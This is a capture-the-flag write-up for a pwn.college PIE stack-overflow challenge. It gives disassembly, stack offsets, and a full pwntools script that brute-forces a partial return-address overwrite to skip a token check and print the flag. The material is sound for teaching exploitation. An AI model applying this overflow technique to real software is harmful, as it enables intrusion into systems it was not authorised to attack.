Post

PIEs_Hard

WriteUp — PIE Overflow (Hard)

Challenge

Source: PwnCollege — Binary Exploitation track Binary: binary-exploitation-pie-overflow Objective: PIE + no debug output + no source. Reverse engineer all offsets and brute-force the partial overwrite nibble.

Binary properties (checksec)

MitigationStatus
Archamd64-64-little
RELROFull RELRO
Stack CanaryDisabled
NXEnabled
PIEEnabled
StrippedNo

Reverse engineering

Step 1: Find buffer & return address offset

Disassemble challenge():

challenge:
    push   %rbp
    mov    %rsp,%rbp
    sub    $0x60,%rsp               ; 96-byte frame

    ; Buffer init: 6 × movq = 48 bytes
    movq   $0x0,-0x40(%rbp)         ; input[0..7]
    movq   $0x0,-0x38(%rbp)         ; input[8..15]
    movq   $0x0,-0x30(%rbp)         ; input[16..23]
    movq   $0x0,-0x28(%rbp)         ; input[24..31]
    movq   $0x0,-0x20(%rbp)         ; input[32..39]
    movq   $0x0,-0x18(%rbp)         ; input[40..47]

    movq   $0x1000,-0x8(%rbp)       ; size = 4096

    lea    -0x40(%rbp),%rax         ; buffer @ rbp-0x40
    call   read@plt                 ; read(0, buf, 4096)
    mov    %eax,-0xc(%rbp)          ; received @ rbp-0xc

    call   puts                     ; "Goodbye!"
    mov    $0x0,%eax
    leaveq
    retq                            ; ← overflow target

Stack layout:

Variablerbp offsetoffset from buffer
input[0]-0x400
input[47]-0x1947
gap-0x18..-0x0d48-51
received-0x0c52
size-0x0856
saved rbp+0x0064
ret addr+0x0872

Step 2: Find win_authed bypass address

0000000000001fd4 <win_authed>:
    1fe3: cmpl   $0x1337,-0x4(%rbp)      ; token guard
    1fea: jne    20ee                     ; bad token → bail
    1ff0: lea    ...,%rdi                 ; ← BYPASS @ 0x1ff0

Bypass offset: 0x1ff0 (0x1c bytes past win_authed entry).

Step 3: Partial overwrite values

1
2
3
bypass = 0x1ff0
├── Lower 12 bits: 0xff0  ← deterministic (page alignment)
└── 4th nibble:    0x1    ← brute-force (1/16)

Payload: 72 bytes junk + p16((nibble << 12) | 0xff0).

Exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
from pwn import *
import os, re

context.arch = 'amd64'
context.log_level = 'warn'

BIN = '/challenge/binary-exploitation-pie-overflow' if os.path.exists(
    '/challenge/binary-exploitation-pie-overflow'
) else './binary-exploitation-pie-overflow'

elf = ELF(BIN)

offset_to_ret = 72           # RE from challenge(): rbp+8 - rbp-0x40
bypass_low12 = 0xff0         # lower 12 bits of win_authed bypass (0x1ff0)

for attempt in range(1, 200):
    nibble = (attempt - 1) % 16
    target_low16 = (nibble << 12) | bypass_low12

    p = process(elf.path)
    p.recvuntil(b'Send your payload')
    p.send(b'A' * offset_to_ret + p16(target_low16))
    output = p.recvall(timeout=2).decode()
    p.close()

    if 'pwn.college' in output:
        flag = re.search(r'(pwn\.college\{[^}]+\})', output).group(1)
        print(f"[+] Attempt {attempt}: nibble={nibble:#x}{flag}")
        break

Key takeaways

  1. Full RE from binary only — buffer size from counting movq init instructions (6×8=48), offset from buffer-to-return-address subtraction (72), bypass from disassembling win_authed (0x1ff0).
  2. PIE partial overwrite pattern — same as easy: lower 12 bits deterministic, nibble brute-forced. Only the constants change (0xff0 instead of 0xc3d, 72 instead of 56).
  3. No canary — confirmed by absence of fs:0x28 and __stack_chk_fail.
  4. win_authed bypass is always 0x1c bytes incmpl $0x1337 (7 bytes) + jne (6 bytes) + some setup (prologue). Offset from entry to bypass is consistent across challenges.
This post is licensed under CC BY 4.0 by the author.